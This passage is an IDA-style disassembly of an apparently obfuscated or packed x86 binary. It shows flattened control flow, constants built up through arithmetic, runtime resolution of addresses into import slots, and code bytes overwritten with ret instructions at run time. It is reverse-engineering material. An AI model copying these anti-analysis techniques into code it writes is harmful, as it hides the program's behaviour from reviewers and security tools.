sub_7578F4-F4A9o jnz loc_74AFE2 jmp loc_746908 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751078 loc_74A4EE: ; CODE XREF: sub_751078+9j rol eax, 0Ch push eax call sub_746CF0 retn ; END OF FUNCTION CHUNK FOR sub_751078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74A4F8: ; CODE XREF: sub_7543C5-FA1j jmp loc_7567E8 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74A4FD: ; CODE XREF: _0z4jwtox:00752B1Fj jmp loc_750E67 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7574E3 loc_74A503: ; CODE XREF: sub_7574E3+7j jmp loc_74BC43 ; END OF FUNCTION CHUNK FOR sub_7574E3 ; --------------------------------------------------------------------------- loc_74A508: ; CODE XREF: _0z4jwtox:0074D3FDj jmp loc_75344B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74A50D: ; CODE XREF: sub_7561AB-BC96j jmp loc_753F6A ; --------------------------------------------------------------------------- loc_74A512: ; CODE XREF: sub_7561AB-10BFFj mov eax, [ebp-24h] jmp loc_74A50D ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74A51A: ; CODE XREF: sub_747C22+EE54j and eax, 0CA11B8ABh sub eax, 84AD8552h add eax, 90CB49BFh push offset sub_75582A jmp nullsub_210 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- mov ds:off_41F0F4, eax lea eax, sub_7571A1 mov byte ptr [eax], 0C3h jmp loc_748BF6 ; =============== S U B R O U T I N E ======================================= sub_74A54A proc near ; CODE XREF: sub_4093C1+24p ; .text:0041292Bp ... ; FUNCTION CHUNK AT 0074D4AF SIZE 00000005 BYTES push offset loc_750FFC jmp loc_74D4AF sub_74A54A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_74A554: ; CODE XREF: sub_75043C:loc_753004j pop esi or esi, 4804C04h test esi, 4000h jmp loc_755230 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C39 loc_74A566: ; CODE XREF: sub_752C39:loc_752C3Fj pop esi and esi, 2DC6917Ch add esi, 3C206566h xor esi, 9BF9A126h and esi, 0B5F46087h add esi, 7BA49D15h jmp loc_751038 ; END OF FUNCTION CHUNK FOR sub_752C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7497F9 loc_74A58A: ; CODE XREF: sub_7497F9:loc_75496Aj cmp eax, ds:dword_751620 jz loc_7488E0 ; END OF FUNCTION CHUNK FOR sub_7497F9 ; START OF FUNCTION CHUNK FOR sub_749B76 loc_74A596: ; CODE XREF: sub_747379:loc_7468DBj ; sub_749B76-24DEj jb loc_74D0AF mov eax, [ebp-4] call sub_74F226 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_7488E0 jmp loc_7552C5 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_74A5B6: ; CODE XREF: sub_748DCB:loc_74CDCDj rol ecx, 11h cmp ecx, 3CE5C09Ah jmp loc_756C39 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_74A5C4: ; CODE XREF: sub_74F08D+19j add esi, 2892015Ah xchg esi, [esp+0] jmp loc_748C8C ; END OF FUNCTION CHUNK FOR sub_74F08D ; =============== S U B R O U T I N E ======================================= sub_74A5D2 proc near ; DATA XREF: sub_747736+1DC9o xchg edi, [esp+0] mov ebp, edi pop edi retn sub_74A5D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_74A5D9: ; CODE XREF: sub_74F73B-3FCBj jmp loc_75783B ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74A5DE: ; CODE XREF: sub_74FE55-8734j jmp loc_74EF56 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74549C loc_74A5E3: ; CODE XREF: sub_74549C+8j jmp sub_750243 ; END OF FUNCTION CHUNK FOR sub_74549C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74A5E8 proc near ; CODE XREF: sub_746145:loc_74614Dp ; _0z4jwtox:0074F63Ap ... ; FUNCTION CHUNK AT 0074F35F SIZE 0000001E BYTES push ebp mov ebp, esp loc_74A5EB: ; CODE XREF: _0z4jwtox:loc_750CCFj push ecx jmp loc_74F35F sub_74A5E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_74A5F1: ; CODE XREF: sub_746389:loc_746F70j call sub_74E58E ; END OF FUNCTION CHUNK FOR sub_746389 ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_74A5F6: ; CODE XREF: sub_7473E6+12j jmp loc_74B569 ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- xchg esi, ebp and eax, edx jmp sub_74BDFA ; --------------------------------------------------------------------------- loc_74A604: ; DATA XREF: sub_746B7C+6AB3o mov edx, ebp pop ebp jnb loc_75692A ; START OF FUNCTION CHUNK FOR sub_7554BB loc_74A60D: ; CODE XREF: sub_7554BB:loc_754593j mov eax, [esp+4+var_4] jmp loc_74D767 ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- mov eax, ebp jmp loc_74787C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F7A loc_74A61D: ; CODE XREF: sub_746F7A+1Ej jmp loc_747F2C ; END OF FUNCTION CHUNK FOR sub_746F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74A622: ; CODE XREF: sub_747AEC-12AEj popf jbe loc_7571CE push edx loc_74A62A: ; CODE XREF: sub_747AEC:loc_7483C9j mov eax, 0CF0182F6h call sub_746E93 sub eax, 0F304E64Eh jmp loc_74DA68 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_74A63F proc near ; CODE XREF: sub_74D782+1F98j ; FUNCTION CHUNK AT 0074BD21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007544A8 SIZE 0000000D BYTES push ebx push 0CBEC7FCAh pop ebx xor ebx, 406E11B1h add ebx, 74BF82A5h jmp loc_74BD21 sub_74A63F endp ; =============== S U B R O U T I N E ======================================= sub_74A657 proc near ; DATA XREF: sub_747C22:loc_745292o push 103C648Eh pop eax sub eax, 5AB548D7h add eax, 15C49ACCh or eax, 0EB0F7803h push offset sub_757314 jmp nullsub_286 sub_74A657 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DAAF loc_74A679: ; CODE XREF: sub_74DAAF:loc_74EDD2j mov eax, 0B9726E5Ah push edx push 0E2AF4B67h pop edx sub edx, 0DD312967h and edx, 0A234395Ch add edx, 40A62Eh jmp loc_7472E6 ; END OF FUNCTION CHUNK FOR sub_74DAAF ; --------------------------------------------------------------------------- jmp ds:dword_41F054 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_74A6A2: ; CODE XREF: sub_74D782+15j jmp loc_74D8E9 ; END OF FUNCTION CHUNK FOR sub_74D782 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or al, 24h mov edx, ecx pop ecx jno loc_74F071 mov eax, [esp] push eax mov eax, edx jmp loc_7480D6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74A6BF: ; CODE XREF: sub_747736+93BFj jmp loc_74DC2D ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- locret_74A6C4: ; CODE XREF: _0z4jwtox:0074912Bj retn ; --------------------------------------------------------------------------- popf jmp loc_755ECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753D0E loc_74A6CB: ; CODE XREF: sub_753D0E:loc_745B27j and edx, 87F6EC03h xor edx, 0BCC0517Bh add edx, 2E384ACDh or edx, 0A6F58BC3h add edx, 1074FA23h xchg edx, [esp+4+var_4] jmp loc_74B81D ; END OF FUNCTION CHUNK FOR sub_753D0E ; --------------------------------------------------------------------------- loc_74A6F1: ; CODE XREF: _0z4jwtox:0074F471j mov eax, ebx push offset loc_754576 jmp locret_75759C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74A6FD: ; CODE XREF: sub_747C22:loc_751033j pop ecx rol ecx, 9 add ecx, 3A49F58Bh rol ecx, 1 call sub_74AA82 loc_74A70E: ; CODE XREF: sub_75118C-52D9j jmp sub_74A96E ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74624E loc_74A713: ; CODE XREF: sub_74624E+Aj jmp loc_74A7EE ; END OF FUNCTION CHUNK FOR sub_74624E ; --------------------------------------------------------------------------- loc_74A718: ; CODE XREF: _0z4jwtox:0074CD43j xchg ecx, [esi] ; =============== S U B R O U T I N E ======================================= sub_74A71A proc near ; CODE XREF: sub_74FE55-935Fp ; FUNCTION CHUNK AT 007458FB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00747388 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00748FD6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00749AF8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00749D49 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00749DA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B1D5 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074DEF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EDB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FAE1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075231D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00752404 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752644 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00755F08 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0075652B SIZE 00000009 BYTES xchg ebx, [esp+0] pop ebx movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jmp loc_747388 sub_74A71A endp ; sp-analysis failed ; --------------------------------------------------------------------------- add ecx, 38210A55h jmp sub_755501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_74A734: ; CODE XREF: sub_74C0A0-3FCFj jb loc_74FC58 adc ebp, 5FA0729Ch sub eax, 72199592h loc_74A746: ; CODE XREF: sub_74C0A0:loc_7514E4j push 8403383Ch pop eax add eax, 5B77CF32h xor eax, 0CEA44429h or eax, 2F22EDBBh jmp loc_74E802 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74A763: ; CODE XREF: sub_757151+16j and edx, 519514CAh add edx, 0EEE392F5h xchg edx, [esp-4+arg_0] jmp loc_74E2C2 ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- jmp ds:off_41F150 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751307 loc_74A77D: ; CODE XREF: sub_751307+4171j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_751307 ; --------------------------------------------------------------------------- jmp ds:off_41F130 ; --------------------------------------------------------------------------- loc_74A788: ; CODE XREF: _0z4jwtox:00748B02j jmp near ptr dword_745988+0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B76 loc_74A78D: ; CODE XREF: sub_74D21E:loc_745839j ; sub_747B76+3j ... jno loc_747B7E pop edx mov eax, [esp+0] push eax mov eax, edx jmp loc_750AB9 ; END OF FUNCTION CHUNK FOR sub_747B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746145 loc_74A79F: ; CODE XREF: sub_746145:loc_74E085j mov eax, 1171F650h call sub_746E93 mov ds:off_41F018, eax lea eax, sub_745A78 mov byte ptr [eax], 0C3h jmp loc_755720 ; END OF FUNCTION CHUNK FOR sub_746145 ; =============== S U B R O U T I N E ======================================= sub_74A7BD proc near ; CODE XREF: sub_41BDE7+8p ; _0z4jwtox:0074DC9Aj ; DATA XREF: ... ; FUNCTION CHUNK AT 0075395C SIZE 00000005 BYTES push ebp mov ebp, eax push offset loc_74C2A2 jmp loc_75395C sub_74A7BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_74A7CA: ; CODE XREF: sub_746E37+89AEj lea eax, loc_751388 mov byte ptr [eax], 0C3h jmp loc_75009F ; END OF FUNCTION CHUNK FOR sub_746E37 ; =============== S U B R O U T I N E ======================================= sub_74A7D8 proc near ; CODE XREF: sub_4090ED+91p ; sub_74C39F+9j ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074530F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00745B1B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746CE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746E0F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074874E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00748928 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BF8D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074CF16 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074E606 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074E620 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074F8AA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074FCF3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074FF3B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00750609 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00751512 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00751FEA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 007525C0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 007539C0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00753DD6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00754AA6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00755F58 SIZE 00000019 BYTES call sub_74C39F loc_74A7DD: ; CODE XREF: sub_747C22-124Dj xor ebx, 0A7A78D58h test esi, 0DEC06376h jmp loc_74CF16 sub_74A7D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74624E loc_74A7EE: ; CODE XREF: sub_74624E:loc_74A713j push edx push edx push 2A225ED0h pop edx xor edx, 4062B413h add edx, 9634265Ah call sub_75451C loc_74A807: ; CODE XREF: sub_757739+16j jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_74624E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746DD8 loc_74A80C: ; CODE XREF: sub_746DD8+7j jmp loc_74FBB6 ; END OF FUNCTION CHUNK FOR sub_746DD8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F1A loc_74A812: ; CODE XREF: sub_753F1A+Aj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_753F1A ; --------------------------------------------------------------------------- loc_74A817: ; CODE XREF: _0z4jwtox:0074CF46j jmp loc_74B795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_74A81C: ; CODE XREF: sub_74F08D-8CE5j jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_74F08D ; =============== S U B R O U T I N E ======================================= sub_74A821 proc near ; DATA XREF: sub_7490F6+573Bo ; FUNCTION CHUNK AT 00745409 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746693 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074AED3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007500A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075581D SIZE 0000000D BYTES mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_74EE3E jmp loc_745409 sub_74A821 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74A833: ; CODE XREF: sub_746F7A:loc_747F2Cj ; sub_7571A1-222Ej push offset sub_74A2D9 jmp nullsub_233 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; =============== S U B R O U T I N E ======================================= sub_74A83D proc near ; CODE XREF: _0z4jwtox:00749C01j ; sub_7577AC+Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074FD74 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00753759 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755338 SIZE 00000008 BYTES xchg edi, [esp+0] pop edi xchg ebx, [esp-4+arg_0] push eax call sub_757498 loc_74A84A: ; CODE XREF: sub_74E3F7+1923j jmp loc_74FD74 sub_74A83D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74A84F: ; CODE XREF: sub_747AEC+6077j jmp loc_7498C0 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_74A854: ; CODE XREF: sub_74F688:loc_75363Cj xchg eax, [esp+8+var_8] mov edi, eax pop eax add edi, 0ADA44122h rol edi, 0Ch push offset loc_747E48 jmp loc_74536E ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- loc_74A86D: ; CODE XREF: _0z4jwtox:00753CB3j jnz loc_748445 mov eax, [ebp-14h] mov eax, [eax+24h] push offset sub_745276 jmp loc_75580B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74A883: ; CODE XREF: sub_7541BA:loc_74AABCj cmp eax, 0B3560350h jmp loc_74D843 ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E11E loc_74A88E: ; CODE XREF: sub_74E11E-6E02j mov [edx], eax pop edx call sub_747032 push 0B5F04297h xchg ebx, [esp+0] mov eax, ebx pop ebx xor eax, 0E28CD6ADh add eax, 85A90596h rol eax, 17h jmp loc_74C855 ; END OF FUNCTION CHUNK FOR sub_74E11E ; --------------------------------------------------------------------------- db 5Dh, 0Fh, 8Ah dd 8BFFh, 0B43BE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74A8C1: ; CODE XREF: sub_74C8DA-2EC4j jz loc_74B071 loc_74A8C7: ; CODE XREF: sub_74C8DA:loc_74FFC5j call nullsub_5 jmp loc_749022 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; =============== S U B R O U T I N E ======================================= sub_74A8D1 proc near ; CODE XREF: sub_74F30D:loc_752AC1j ; FUNCTION CHUNK AT 0074636D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074B93C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756983 SIZE 00000020 BYTES add esp, 0FFFFFED0h mov [ebp-0Ch], ecx mov [ebp-6], dx jmp loc_756983 sub_74A8D1 endp ; =============== S U B R O U T I N E ======================================= sub_74A8E3 proc near ; CODE XREF: _0z4jwtox:00745597j ; _0z4jwtox:0075577Dp xchg esi, [esp+0] pop esi add eax, 0C16EC787h push ecx sub_74A8E3 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74A8EE: ; CODE XREF: sub_747C22+BEACj pushf push 0F26AFFC5h jmp loc_751033 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_74A8F9 proc near ; CODE XREF: _0z4jwtox:0074C564j ; sub_748DB7:loc_754075p xchg edx, [esp+0] pop edx push 87463FAAh pop edi and edi, 9DCCBFA1h add edi, 7B303C68h mov [edi], eax pop edi jmp loc_747F80 sub_74A8F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755103 loc_74A917: ; CODE XREF: sub_755103:loc_75510Cj call sub_74F73B ; END OF FUNCTION CHUNK FOR sub_755103 ; START OF FUNCTION CHUNK FOR sub_749254 loc_74A91C: ; CODE XREF: sub_749254+47DCj jmp loc_752EA4 ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74A921: ; CODE XREF: sub_748A22+13j call sub_74F615 loc_74A926: ; CODE XREF: sub_7572D3-EECj jmp loc_74823D ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74A92B: ; CODE XREF: sub_747C22+137Dj jz loc_74F752 loc_74A931: ; CODE XREF: sub_747C22:loc_74F89Dj push ecx push 8233F2CAh xchg ebx, [esp+24h+var_24] mov ecx, ebx jmp loc_74FCEE ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_74A941 proc near ; DATA XREF: sub_74A25C:loc_745084o mov byte ptr [eax], 0C3h jmp loc_747FAA sub_74A941 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_74A949: ; CODE XREF: sub_747A67j pop edx mov eax, [esp-4+arg_0] push edi mov edi, edx xchg edi, [esp+0] nop jmp loc_74BD4D ; END OF FUNCTION CHUNK FOR sub_747A67 ; =============== S U B R O U T I N E ======================================= sub_74A959 proc near ; CODE XREF: sub_74EF6C-123p ; _0z4jwtox:0075669Bj arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn sub_74A959 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74A964: ; CODE XREF: _0z4jwtox:00756CB5j jmp loc_74C9C2 ; --------------------------------------------------------------------------- loc_74A969: ; CODE XREF: _0z4jwtox:0075522Bj jmp sub_74721B ; =============== S U B R O U T I N E ======================================= sub_74A96E proc near ; CODE XREF: sub_745620+4p ; sub_7470E8:loc_746959j ... var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007462DE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074747D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747856 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007486B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007494DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749D08 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0074B031 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074CCDD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075016C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753E45 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00754863 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00756D17 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00757578 SIZE 0000000E BYTES push ebp jmp loc_7494DF sub_74A96E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748773 loc_74A974: ; CODE XREF: sub_748773:loc_755117j mov [esi], eax pop esi pushf push 0EF2749A2h jmp loc_74D97F ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- loc_74A982: ; CODE XREF: _0z4jwtox:00746656j js loc_74FBAC adc eax, ecx jbe loc_753845 jns loc_745BB8 jmp loc_7454FD ; =============== S U B R O U T I N E ======================================= sub_74A99B proc near ; CODE XREF: sub_74DA3D+1p ; _0z4jwtox:00752110j ; FUNCTION CHUNK AT 00747044 SIZE 00000017 BYTES xchg edi, [esp+0] pop edi pushf push 0DE6D281Dh pop esi jmp loc_747044 sub_74A99B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745DB1 loc_74A9AB: ; CODE XREF: sub_745DB1+17j jnz loc_750740 ; END OF FUNCTION CHUNK FOR sub_745DB1 ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74A9B1: ; CODE XREF: sub_7462FD+D302j ; sub_74FE55:loc_756004j jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_74A9B6: ; CODE XREF: sub_745C55+2C7Ej jmp loc_74E471 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- and edx, ebp add esi, ebp or edi, 0C5074136h xor edi, edx jmp loc_750740 ; --------------------------------------------------------------------------- jge loc_74B249 push eax jmp sub_746BB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74A9D8: ; CODE XREF: sub_74FE55-4BE1j xor edi, 3DA3BC96h loc_74A9DE: ; CODE XREF: _0z4jwtox:00753CC5j rol edi, 7 add edi, 0C152D512h call sub_74A066 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; START OF FUNCTION CHUNK FOR sub_74B525 loc_74A9EC: ; CODE XREF: sub_74B525+1j jmp loc_74EB43 ; END OF FUNCTION CHUNK FOR sub_74B525 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE1F loc_74A9F1: ; CODE XREF: sub_74DE1F:loc_7564C5j mov ebx, edx xchg ebx, [esp+4+var_4] call sub_75740D push 0BA580AF9h jmp loc_746B8D ; END OF FUNCTION CHUNK FOR sub_74DE1F ; --------------------------------------------------------------------------- push 649F3351h pop eax xor eax, 0A0B83BFFh or eax, 2BF79ECBh xor eax, 0AEC49495h add eax, 0C241D024h call sub_746E93 mov ds:off_41F068, eax jmp loc_753D76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751307 loc_74AA33: ; CODE XREF: sub_751307+14j jp loc_755469 ; END OF FUNCTION CHUNK FOR sub_751307 ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74AA39: ; CODE XREF: _0z4jwtox:007494B8j ; sub_74AAC1:loc_74D331j and eax, 0E66B7FF3h add eax, 9A29B041h mov eax, [eax] or eax, eax jnz loc_752B2E jmp loc_74C0D7 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B3EB loc_74AA54: ; CODE XREF: sub_74B3EB:loc_750C57j mov ecx, esi xchg ecx, [esp+0] push 20503ED1h pop esi rol esi, 1Fh push offset loc_752536 jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_74B3EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74AA6C: ; CODE XREF: sub_74F615:loc_7574C8j jge loc_74C487 ; END OF FUNCTION CHUNK FOR sub_74F615 ; START OF FUNCTION CHUNK FOR sub_750715 loc_74AA72: ; CODE XREF: sub_750715+Bj jmp loc_7525C7 ; END OF FUNCTION CHUNK FOR sub_750715 ; --------------------------------------------------------------------------- or edi, 0BA80FF8Fh jmp loc_74C484 ; =============== S U B R O U T I N E ======================================= sub_74AA82 proc near ; CODE XREF: sub_747C22+2AE7p ; _0z4jwtox:007506D5j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0075009A SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add ecx, 0DFE1706Dh popf xchg ecx, [esp-8+arg_4] jmp loc_75009A sub_74AA82 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74AA95: ; CODE XREF: _0z4jwtox:0074BEF9j jz loc_754B5C jmp loc_754B54 ; --------------------------------------------------------------------------- loc_74AAA0: ; CODE XREF: _0z4jwtox:loc_750811j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_754B5C ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_74AAAF: ; CODE XREF: sub_74CF35-4307j jmp loc_747321 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 7Fh, 0D7h, 83h ; --------------------------------------------------------------------------- pop ebp sbb dh, [ebx+47h] ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74AABC: ; CODE XREF: sub_7541BA+10j jmp loc_74A883 ; END OF FUNCTION CHUNK FOR sub_7541BA ; =============== S U B R O U T I N E ======================================= sub_74AAC1 proc near ; CODE XREF: sub_4073B6+29p ; sub_4073B6+36p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745BAB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00745E51 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00747972 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00748BDF SIZE 00000012 BYTES ; 